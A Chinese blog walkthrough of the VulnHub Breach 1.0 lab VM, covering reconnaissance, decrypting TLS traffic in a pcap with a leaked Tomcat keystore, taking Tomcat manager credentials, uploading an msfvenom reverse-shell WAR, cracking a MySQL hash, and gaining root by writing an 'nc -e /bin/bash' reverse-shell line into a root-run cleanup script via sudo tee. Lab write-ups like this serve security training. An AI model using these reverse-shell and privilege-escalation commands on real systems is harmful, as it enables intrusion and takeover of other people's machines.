VulnHub breach1.0

目录

配置靶机网络

信息收集

端口扫描

网站信息收集

查找网站漏洞

wireshark分析包

keystore

从密钥库导出.p12证书

_SSL_test_phase1.pcap

找到后台页面

获取shell

使用msf

提权

提权过程

总结

主要突破点:

难点和踩到的坑:

知识点:

keystore

 keytool

查看pcap

ngrep

tcpick

tcpdump

 tshark

 火狐访问tls

 生成木马

python搭建简单web

python解决无法su

用tee进行提权


配置靶机网络

下载网址 https://download.vulnhub.com/breach/Breach-1.0.zip
作者提示:The VM is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adaptor to this subnet.
意思是靶机已经配置了静态IP地址为192.168.110.140,所以为了和靶机通行需要把kali主机的网卡设置一下。
这里在virtualbox中可以配置一块新的网卡,为了在同一地址段,设置如下。

然后让靶机和kali主机通过这个网卡连接。使用host-only的方式。

信息收集


端口扫描


先扫描下端口,习惯性的采用全面扫描的方式
nmap -A -T4 -v 192.168.110.140

这里发现打开了相当多的端口,大概是有防止探测端口的策略
使用秘密扫描能绕过这个策略。

通过扫描结果,这里大概了解到打开了80端口的web服务,在8443端口上有https加密之类的服务

网站信息收集


打开网站,首页没有什么信息

查看页面源码

 

 

 网站源码注释有一段字符
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
解码

在这里插入图片描述

 pgibbons:damnitfeelg o o d t o b e a g a n g goodtobeaganggoodtobeagangta,看上去像一个帐号密码。

源码中有个地址

在这里插入图片描述

打开后 

这里可以先用nikto简单扫描一下
mikto -host http://192.168.110.140

这里发现一个敏感目录images可以看看
http://192.168.110.140/images/

分别打开这些图片看看

这里有张有趣的图片bill.png ,上面的意思是查看一下源码。看来这是一个提示。

查看首页的源代码,发现一串可疑的下注释数据

把这串字符拿去base64解码,需要解两次

最终获得pgibbons:damnitfeel$goodtobeagang$ta

查找网站漏洞


找一些网站是否存在一些漏洞可以利用
查看一下initech.html页面的源码,也有个小提示

              I'm sitting on a beach reading your email | 我坐在沙滩上看你的邮件
点击Employee portal,会进入一个impresscms的网页,输入我们前面获取的用户名密码

在这里插入图片描述

登录后发现Inbox似乎有特殊内容。

在这里插入图片描述

inbox里面确实存放的是邮件,我们现在使用的用户是pgibbons

第1封邮件,是bill给peter的,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全。
第2封邮件,是Michael给Peter的,主要内容:Michael采购了IDS/IPS。(扫描端口遇到障碍估计就是这个原因)
第3封邮件比较关键,看不懂,反正就是说感谢购买什么秘密证书,有个ssl证书请不要泄漏,然后猪队友所保存了文件在 192.168.110.140/.keystoreBob 中

访问http://192.168.110.140/.keystore下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式。

查看其他地方,看有什么收获
点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接

点击完上图的链接,跳转到如下界面,标题SSL implementation test capture,翻译过来就是SSL实施测试捕获。大概是测试ssl服务用的。里面的内容大概就是peter的抱怨,这个ssl是什么呀,难道我们被加密了吗。

其中“They told me the alias, storepassword and keypassword are all set to 'tomcat'. ”表示别名、存储密码和密钥密码都设置为“tomcat”
其中可以看到一个名为:_SSL_test_phase1.pcap的Wireshark流量包文件,点击即可下载


对于cms漏洞的利用,这里有个sql注入漏洞,然而我打开漏洞的页面却被重定向了,看别人似乎也用不了这个cms漏洞。

 

 

wireshark分析包

root@kali:~/下载# ngrep -I _SSL_test_phase1.pcap
input: _SSL_test_phase1.pcap
#
U 192.168.110.1:51260 -> 192.168.110.255:32412
  M-SEARCH * HTTP/1.1..                                                                                                                           
#
U 192.168.110.1:51265 -> 192.168.110.255:32414
  M-SEARCH * HTTP/1.1..                                                                                                                           
####
T 192.168.110.129:60149 -> 192.168.110.140:8443 [AP]
  ...........n..>K...&..Z...0..7../|.fBym........+./...............3.2.E.9.8...../.A.5...........B........................#..3t....................
  .................                                                                                                                               
##
root@kali:~/下载##看到了-192.168.110.140:8443 [AP]
root@kali:~/下载# ngrep -i nethunter -I _SSL_test_phase1.pcap
input: _SSL_test_phase1.pcap
match: nethunter
###############################################################################
U 192.168.110.129:38030 -> 192.168.110.1:53
  q............www.nethunter.com.....                                                                                                             
#
U 192.168.110.129:38030 -> 192.168.110.1:53
  .............www.nethunter.com.....                                                                                                             
########exit
root@kali:~/下载# ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’
input: _SSL_test_phase1.pcap
match: ‘HTTP’
########################################################################################exit
root@kali:~/下载# tcpick -C -yP -r _SSL_test_phase1.pcap
Starting tcpick 0.2.1 at 2018-10-25 11:31 CST
Timeout for connections is 600
tcpick: reading from _SSL_test_phase1.pcap
M-SEARCH * HTTP/1.1
M-SEARCH * HTTP/1.1
1      SYN-SENT       192.168.110.129:60149 > 192.168.110.140:8443
1      SYN-RECEIVED   192.168.110.129:60149 > 192.168.110.140:8443
1      ESTABLISHED    192.168.110.129:60149 > 192.168.110.140:8443
...........n..>K...&..Z...0..7../|.fBym........+./.
.   ...........3.2.E.9.8...../.A.5...
root@kali:~/下载# tcpdump -qns 0 -X -r _SSL_test_phase1.pcap
reading from file _SSL_test_phase1.pcap, link-type EN10MB (Ethernet)
00:56:50.635257 IP 192.168.110.1.51260 > 192.168.110.255.32412: UDP, length 21
    0x0000:  4500 0031 49f4 0000 8011 9276 c0a8 6e01  E..1I......v..n.
    0x0010:  c0a8 6eff c83c 7e9c 001d e44a 4d2d 5345  ..n..<~....JM-SE
    0x0020:  4152 4348 202a 2048 5454 502f 312e 310d  ARCH.*.HTTP/1.1.
    0x0030:  0a                                       .
00:56:50.635479 IP 192.168.110.1.51265 > 192.168.110.255.32414: UDP, length 21
    0x0000:  4500 0031 49f5 0000 8011 9275 c0a8 6e01  E..1I......u..n.
    0x0010:  c0a8 6eff c841 7e9e 001d e443 4d2d 5345  ..n..A~....CM-SE
    0x0020:  4152 4348 202a 2048 5454 502f 312e 310d  ARCH.*.HTTP/1.1.
    0x0030:  0a                                       .
00:56:51.649313 IP 192.168.110.129.60149 > 192.168.110.140.8443: tcp 0
    0x0000:  4500 003c eaee 4000 4006 f16e c0a8 6e81  E..<..@.@..n..n.
    0x0010:  c0a8 6e8c eaf5 20fb 3032 2547 0000 0000  ..n.....02%G....
    0x0020:  a002 7210 5e8d 0000 0204 05b4 0402 080a  ..r.^...........
    0x0030:  0275 cfa9 0000 0000 0103 030a            .u..........
00:56:51.649650 IP 192.168.110.140.8443 > 192.168.110.129.60149: tcp 0
    0x0000:  4500 003c 0000 4000 4006 dc5d c0a8 6e8c  E..<..@.@..]..n.
    0x0010:  c0a8 6e81 20fb eaf5 870c 8eca 3032 2548  ..n.........02%H
    0x0020:  a012 7120 c50b 0000 0204 05b4 0402 080a  ..q.............
    0x0030:  0041 69c3 0275 cfa9 0103 0307            .Ai..u......
00:56:51.649667 IP 192.168.110.129.60149 > 192.168.110.140.8443: tcp 0
    0x0000:  4500 0034 eaef 4000 4006 f175 c0a8 6e81  E..4..@.@..u..n.
    0x0010:  c0a8 6e8c eaf5 20fb 3032 2548 870c 8ecb  ..n.....02%H....
    0x0020:  8010 001d 5e85 0000 0101 080a 0275 cfa9  ....^........u..
    0x0030:  0041 69c3                                .Ai.
root@kali:~/下载# tshark -r _SSL_test_phase1.pcap
Running as user "root" and group "root". This could be dangerous.
tshark: Lua: Error during loading:
 [string "/usr/share/wireshark/init.lua"]:44: dofile has been disabled due to running Wireshark as superuser. See https://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in running Wireshark as an unprivileged user.
    1   0.000000 192.168.110.1 → 192.168.110.255 UDP 63 51260 → 32412 Len=21
    2   0.000222 192.168.110.1 → 192.168.110.255 UDP 63 51265 → 32414 Len=21
    3   1.014056 192.168.110.129 → 192.168.110.140 TCP 74 60149 → 8443 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=41275305 TSecr=0 WS=1024
    4   1.014393 192.168.110.140 → 192.168.110.129 TCP 74 8443 → 60149 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=4286915 TSecr=41275305 WS=128
    5   1.014410 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=41275305 TSecr=4286915
    6   1.014675 192.168.110.129 → 192.168.110.140 SSL 228 Client Hello
    7   1.015391 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60149 [ACK] Seq=1 Ack=163 Win=28800 Len=0 TSval=4286915 TSecr=41275305
    8   1.015909 192.168.110.140 → 192.168.110.129 TLSv1.2 1057 Server Hello, Certificate, Server Hello Done
    9   1.015916 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=163 Ack=992 Win=31744 Len=0 TSval=41275305 TSecr=4286915
   10   1.026804 192.168.110.129 → 192.168.110.140 TLSv1.2 376 Client Key Exchange, Change Cipher Spec, Finished
   11   1.034921 192.168.110.140 → 192.168.110.129 TLSv1.2 72 Change Cipher Spec
   12   1.034938 192.168.110.140 → 192.168.110.129 TLSv1.2 103 Finished
   13   1.034973 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=473 Ack=1035 Win=31744 Len=0 TSval=41275310 TSecr=4286920
   14   1.035146 192.168.110.129 → 192.168.110.140 HTTP 1338 GET /_M@nag3Me/html HTTP/1.1
   15   1.073510 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60149 [ACK] Seq=1035 Ack=1745 Win=27392 Len=0 TSval=4286930 TSecr=41275310
   16   1.101009 192.168.110.140 → 192.168.110.129 TLSv1.2 3039 [SSL segment of a reassembled PDU]
   17   1.101034 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=1745 Ack=4008 Win=37888 Len=0 TSval=41275326 TSecr=4286936
   18   1.101477 192.168.110.140 → 192.168.110.129 HTTP 92 HTTP/1.1 401 Unauthorized  (text/html)
   19   1.138007 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=1745 Ack=4034 Win=37888 Len=0 TSval=41275336 TSecr=4286936
   20   3.798191 192.168.110.129 → 192.168.110.1 DNS 84 Standard query 0x879b A www.kali.org.localdomain
   21   3.798256 192.168.110.129 → 192.168.110.1 DNS 84 Standard query 0xd8c9 AAAA www.kali.org.localdomain
   22   3.798296 192.168.110.129 → 192.168.110.1 DNS 86 Standard query 0x0b03 A tools.kali.org.localdomain
   23   3.798322 192.168.110.129 → 192.168.110.1 DNS 86 Standard query 0xb495 AAAA tools.kali.org.localdomain
   24   3.798355 192.168.110.129 → 192.168.110.1 DNS 98 Standard query 0xc7d8 A www.offensive-security.com.localdomain
   25   3.798380 192.168.110.129 → 192.168.110.1 DNS 98 Standard query 0x906a AAAA www.offensive-security.com.localdomain
   26   4.374997 192.168.110.129 → 192.168.110.140 HTTP 1397 GET /_M@nag3Me/html HTTP/1.1
   27   4.375200 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60149 [ACK] Seq=4034 Ack=3076 Win=26112 Len=0 TSval=4287755 TSecr=41276145
   28   4.419784 192.168.110.140 → 192.168.110.129 TCP 14546 [TCP segment of a reassembled PDU]
   29   4.419808 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=3076 Ack=18514 Win=66560 Len=0 TSval=41276156 TSecr=4287766
   30   4.420737 192.168.110.140 → 192.168.110.129 TLSv1.2 96 [SSL segment of a reassembled PDU]
   31   4.420743 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=3076 Ack=18544 Win=66560 Len=0 TSval=41276156 TSecr=4287766
   32   4.421745 192.168.110.140 → 192.168.110.129 HTTP 92 HTTP/1.1 200 OK  (text/html)
   33   4.421751 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=3076 Ack=18570 Win=66560 Len=0 TSval=41276156 TSecr=4287766
   34   4.478550 192.168.110.129 → 192.168.110.140 HTTP 1525 GET /_M@nag3Me/images/asf-logo.gif HTTP/1.1
   35   4.479304 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60149 [ACK] Seq=18570 Ack=4535 Win=25216 Len=0 TSval=4287781 TSecr=41276171
   36   4.479828 192.168.110.129 → 192.168.110.140 TCP 74 60150 → 8443 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=41276171 TSecr=0 WS=1024
   37   4.480803 192.168.110.140 → 192.168.110.129 TCP 74 8443 → 60150 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=4287781 TSecr=41276171 WS=128
   38   4.480816 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=41276171 TSecr=4287781
   39   4.480954 192.168.110.129 → 192.168.110.140 SSL 260 Client Hello
   40   4.481820 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60150 [ACK] Seq=1 Ack=195 Win=30080 Len=0 TSval=4287781 TSecr=41276171
   41   4.486811 192.168.110.140 → 192.168.110.129 TLSv1.2 152 Server Hello
   42   4.486820 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=195 Ack=87 Win=29696 Len=0 TSval=41276173 TSecr=4287783
   43   4.486962 192.168.110.140 → 192.168.110.129 TLSv1.2 72 Change Cipher Spec
   44   4.486968 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=195 Ack=93 Win=29696 Len=0 TSval=41276173 TSecr=4287783
   45   4.487315 192.168.110.140 → 192.168.110.129 TLSv1.2 103 Finished
   46   4.487323 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=195 Ack=130 Win=29696 Len=0 TSval=41276173 TSecr=4287783
   47   4.487438 192.168.110.129 → 192.168.110.140 TLSv1.2 109 Change Cipher Spec, Finished
   48   4.491327 192.168.110.140 → 192.168.110.129 HTTP 210 HTTP/1.1 304 Not Modified
   49   4.491343 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=4535 Ack=18714 Win=69632 Len=0 TSval=41276174 TSecr=4287784
   50   4.526361 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60150 [ACK] Seq=130 Ack=238 Win=30080 Len=0 TSval=4287793 TSecr=41276173
   51   4.590181 192.168.110.129 → 192.168.110.140 HTTP 1523 GET /_M@nag3Me/images/tomcat.gif HTTP/1.1
   52   4.590411 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60150 [ACK] Seq=130 Ack=1695 Win=28672 Len=0 TSval=4287809 TSecr=41276199
   53   4.591910 192.168.110.140 → 192.168.110.129 HTTP 210 HTTP/1.1 304 Not Modified
   54   4.610733 192.168.110.129 → 192.168.110.140 HTTP 1335 GET /favicon.ico HTTP/1.1
   55   4.612935 192.168.110.140 → 192.168.110.129 HTTP 1210 HTTP/1.1 404 Not Found  (text/html)
   56   4.612947 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=5804 Ack=19858 Win=72704 Len=0 TSval=41276204 TSecr=4287814
   57   4.629950 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=1695 Ack=274 Win=30720 Len=0 TSval=41276209 TSecr=4287809
   58   5.000331 192.168.110.1 → 192.168.110.255 UDP 63 51260 → 32412 Len=21
   59   5.000804 192.168.110.1 → 192.168.110.255 UDP 63 51265 → 32414 Len=21
   60   6.804832 192.168.110.129 → 192.168.110.140 HTTP 1382 GET /cmd/ HTTP/1.1
   61   6.806695 192.168.110.140 → 192.168.110.129 HTTP 1196 HTTP/1.1 404 Not Found  (text/html)
   62   6.806710 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=7120 Ack=20988 Win=75776 Len=0 TSval=41276753 TSecr=4288363
   63   6.936350 192.168.110.1 → 239.255.255.250 SSDP 215 M-SEARCH * HTTP/1.1
   64   6.936361 192.168.110.1 → 239.255.255.250 SSDP 215 M-SEARCH * HTTP/1.1
   65   8.803369 192.168.110.129 → 192.168.110.1 DNS 84 Standard query 0x879b A www.kali.org.localdomain
   66   8.803477 192.168.110.129 → 192.168.110.1 DNS 84 Standard query 0xd8c9 AAAA www.kali.org.localdomain
   67   8.803556 192.168.110.129 → 192.168.110.1 DNS 86 Standard query 0x0b03 A tools.kali.org.localdomain
   68   8.803608 192.168.110.129 → 192.168.110.1 DNS 86 Standard query 0xb495 AAAA tools.kali.org.localdomain
   69   8.803663 192.168.110.129 → 192.168.110.1 DNS 98 Standard query 0xc7d8 A www.offensive-security.com.localdomain
   70   8.803713 192.168.110.129 → 192.168.110.1 DNS 98 Standard query 0x906a AAAA www.offensive-security.com.localdomain
   71   9.770143 192.168.110.129 → 192.168.110.140 HTTP 1335 GET /cmd/cmd.jsp HTTP/1.1
   72   9.778658 192.168.110.140 → 192.168.110.129 HTTP 472 HTTP/1.1 200 OK  (text/html)
   73   9.778679 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=8389 Ack=21394 Win=77824 Len=0 TSval=41277496 TSecr=4289106
   74  10.000381 192.168.110.1 → 192.168.110.255 UDP 63 51260 → 32412 Len=21
   75  10.000394 192.168.110.1 → 192.168.110.255 UDP 63 51265 → 32414 Len=21
   76  13.739966 192.168.110.129 → 192.168.110.140 HTTP 1438 GET /cmd/cmd.jsp?cmd=id HTTP/1.1
   77  13.754746 192.168.110.140 → 192.168.110.129 HTTP 466 HTTP/1.1 200 OK  (text/html)
   78  13.754774 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=9761 Ack=21794 Win=80896 Len=0 TSval=41278490 TSecr=4290100
   79  13.806812 192.168.110.129 → 192.168.110.1 DNS 77 Standard query 0x71c0 A www.nethunter.com
   80  13.806867 192.168.110.129 → 192.168.110.1 DNS 77 Standard query 0x8ec8 AAAA www.nethunter.com
   81  13.806956 192.168.110.129 → 192.168.110.1 DNS 78 Standard query 0xa17c A www.exploit-db.com
   82  13.806986 192.168.110.129 → 192.168.110.1 DNS 78 Standard query 0x4e6a AAAA www.exploit-db.com
   83  13.807066 192.168.110.129 → 192.168.110.1 DNS 76 Standard query 0xe5e7 A www.facebook.com
   84  13.807095 192.168.110.129 → 192.168.110.1 DNS 76 Standard query 0xe26b AAAA www.facebook.com
   85  14.590232 192.168.110.129 → 192.168.110.140 TCP 66 [TCP Keep-Alive] 60150 → 8443 [ACK] Seq=1694 Ack=274 Win=30720 Len=0 TSval=41278699 TSecr=4287809
   86  14.590472 192.168.110.140 → 192.168.110.129 TCP 66 [TCP Keep-Alive ACK] 8443 → 60150 [ACK] Seq=274 Ack=1695 Win=28672 Len=0 TSval=4290309 TSecr=41276209
   87  15.000596 192.168.110.1 → 192.168.110.255 UDP 63 51260 → 32412 Len=21
   88  15.001155 192.168.110.1 → 192.168.110.255 UDP 63 51265 → 32414 Len=21
root@kali:~/下载# tshark -r _SSL_test_phase1.pcap  | grep -i get
Running as user "root" and group "root". This could be dangerous.
tshark: Lua: Error during loading:
 [string "/usr/share/wireshark/init.lua"]:44: dofile has been disabled due to running Wireshark as superuser. See https://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in running Wireshark as an unprivileged user.
   14   1.035146 192.168.110.129 → 192.168.110.140 HTTP 1338 GET /_M@nag3Me/html HTTP/1.1
   26   4.374997 192.168.110.129 → 192.168.110.140 HTTP 1397 GET /_M@nag3Me/html HTTP/1.1
   34   4.478550 192.168.110.129 → 192.168.110.140 HTTP 1525 GET /_M@nag3Me/images/asf-logo.gif HTTP/1.1
   51   4.590181 192.168.110.129 → 192.168.110.140 HTTP 1523 GET /_M@nag3Me/images/tomcat.gif HTTP/1.1
   54   4.610733 192.168.110.129 → 192.168.110.140 HTTP 1335 GET /favicon.ico HTTP/1.1
   60   6.804832 192.168.110.129 → 192.168.110.140 HTTP 1382 GET /cmd/ HTTP/1.1
   71   9.770143 192.168.110.129 → 192.168.110.140 HTTP 1335 GET /cmd/cmd.jsp HTTP/1.1
   76  13.739966 192.168.110.129 → 192.168.110.140 HTTP 1438 GET /cmd/cmd.jsp?cmd=id HTTP/1.1


使用wireshark打开下载的

文件

keystore

发现其中确实存在TLS加密协议,最新版wireshark已经 ssl 改为 tls,其实ssl/tls都已统称通信加密协议
查看keystore这个密钥库里面的所有证书 。密钥库口令输入tomcat

 keytool -list -keystore keystore

从密钥库导出.p12证书


keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

_SSL_test_phase1.pcap

将p12证书导入Wireshark

配置如下:

192.168.110.140 8443 http 证书存放路径 tomcat(这里8443端口我们有使用nmap探测出来,其次查看加密前的文件也会发现数据流向这个端口)

导入证书后,https流量已经被解密,查看每个http流量包

从流量包文件中得到tomcat后台URL和密码

(1) 导入证书后,https流量已经被解密,查看每个http流量包:

发现从192.168.110.129到192.168.110.140的攻击流量包,其中有cmd命令马执行了id命令,攻击者上传了两张图片,疑似图片马,但是命令马无法直接访问,需要登录tomcat后台:

(2) 获得Tomcat后台登录地址和用户名密码

继续观察流量包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html

发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

这是base64编码的用户名密码,将dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC复制到Burpsuit Decoder进行解码,得到Tomcat登录用户名密码

Tomcat后台登录用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB

找到后台页面


在解密的http流量中,发现如下敏感目录

访问这个目录,发现建立连接失败
https://192.168.110.140:8443/_M@nag3Me/html

使用burp代理,其中burp为放包状态

登录后发现需要输入用户名密码

在这里插入图片描述

 

回头继续看其它的http流量,发现其中暴露了一个basic认证过程

wireshark提供了解密:tomcat:Tt\5D8F(#!*u=G)4m7zB
使用这个帐号密码登录刚刚的页面。

获取shell


使用菜刀失败
在这个页面具有上传文件的功能

限制了上传文件的后缀

将文件通过zip打包后,修改后缀名为.war

感觉能连接到这个文件

使用菜刀出现如下报错

百度了一下,可能原因为:https通过TSLv1和TSLv1.2协议通信。
假如服务器端设置是TSLv1.2,而客服端是TSLv1, 访问就会出现Remote host closed connection during handshake的错误.

使用msf


使用msf生成一个反弹shell的payload
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.1 lport=4444 -f war -o shell.war

配置payload的处理器
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.1
set lport 4444

运行

成功拿到shell

提权


获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"

查看passwd文件,看下有什么用户

切换到网站根目录,网页部署目录/var/www/5446/,查看当前文件下的文件

两个php文件内容相同,在其中找到了mysql的配置,获取到了root用户空密码的信息

使用root用户连接mysql,查看数据库有哪些

切换到mysql数据库,查看这个数据库中的表

查询表中的列
show columns from user;

查找关键字段
select user,password from user;

得到一条有用的数据,使用md5解密密码
| milton | 6450d89bd3aff1d893b85d3ad65d2ec2

获取密码thelaststraw
切换到我们刚获取的新用户

在新用户milton的家目录下寻找信息。但似乎没有关键信息

查看有没有隐藏文件

查看保存历史命令输入的文件,发现milton有切换到blumbergh用户的记录


尝试从图片中收集可能的信息,使用strings打印各图片其中的可打印字符,保存在文件中

 

分析保存的这些字符,找到一个可能的密码coffeestains。(只有这个是唯一的单词)

使用coffeestains尝试登录blumbergh用户

在blumbergh家目录下查看所有文件

查看执行过的命令

中间出现了一个脚本,查看这个脚本文件

这段脚本的意思是切换到/var/lib/tomcat6/webapps目录下,然后寻找swingline目录下的文件,并清除。xargs 可以将管道或标准输入(stdin)数据转换成命令行参数。
查看blumbergh用户可以sudo执行的命令,发现可以通过sudo执行root权限的tee命令和tidyuo脚本


tee命令用于读取标准输入的数据,并将其内容输出成文件。
查看这个脚本文件的权限,只能由root用户写

 

提权过程


先写入反弹shell命令到文件中
echo "nc 192.168.110.1 5555 -e /bin/bash" >> shell.txt

然后把反弹shell命令通过sudo执行tee命令写入到tidyuo.sh脚本中
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

攻击机将提前开启监听

获取flag

总结

主要突破点:

(1) 从网页源码和图片字符中解密出CMS和Tomcat的账号、密码。

(2) 导入ssl证书到Wireshark中解密经过SSL加密的流量,获得Tomcat后台登录URL和账号密码。

(3) Tomcat后台get shell姿势要熟练。

(4) 提权:找到两个账号的密码,发现可以root权限执行的tee命令和tidyup.sh清理脚本,通过计划任务反弹root shell。

难点和踩到的坑:

(1) 使用keytool导出SSL证书:这是非常规渗透知识,需要查阅原理和工具使用,耗费时间较多。

(2) Tomcat后台get shell后,已上传的菜刀马总是被杀,每次传上去过不了几分钟没了,当时以为该系统安装了杀毒软件或web shell清理工具,实际是因为主机tidyup.sh清理脚本,每3分钟清理一次。反弹出一个shell就可以持续使用shell了。

(3) 连接mysql执行命令,没有回显。菜刀执行命令超时,nc中只有exit退出时才回显,当时打算放弃了,才exit退出,结果退出才有回显,发现了milton账号的密码哈希。山重水复疑无路,柳暗花明又一村。

(4) 花费较多时间进行两次账号切换,再反弹root shell提权。发现和利用tidyup.sh需要较多时间。

(5) 通过crontab的计划任务,反弹root shell的方式,在真实渗透测试中是常见的,比如redis的root空口令挖矿,可以ssh证书连接,也可以写root cront

ab反弹,但是在Vulnhub中第一次遇到,对初学者有难度。

知识点:

keystore

是存储公私密码的一种文件格式

 keytool

root@kali:~##查看keystore这个密钥库里面的所有证书

root@kali:~# keytool -list -keystore  ./下载/keystore

root@kali:~##从密钥库导出.p12证书

root@kali:~# keytool -importkeystore -srckeystore ./下载/keystore -destkeystore ./tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

查看pcap

ngrep

  ngrep -I _SSL_test_phase1.pcap

  ngrep -i nethunter -I _SSL_test_phase1.pcap

  ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’

tcpick

 tcpick -C -yP -r _SSL_test_phase1.pcap

tcpdump

 tcpdump -qns 0 -X -r _SSL_test_phase1.pcap

 tshark

 tshark -r _SSL_test_phase1.pcap

 tshark -r _SSL_test_phase1.pcap  | grep -i get

 火狐访问tls

进入about:config并添加字符串security.tls.insecure_fallback_hosts 192.168.110.140

代理 所有协议 访问8080

 生成木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war

python搭建简单web

python -m SimpleHTTPServer

python解决无法su

python -c 'import pty;pty.spawn("/bin/bash")'

用tee进行提权

echo "nc 192.168.110.20 4445 -e /bin/bash" sudo  /usr/bin/tee    /usr/share/cleanup/tidyup.sh

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值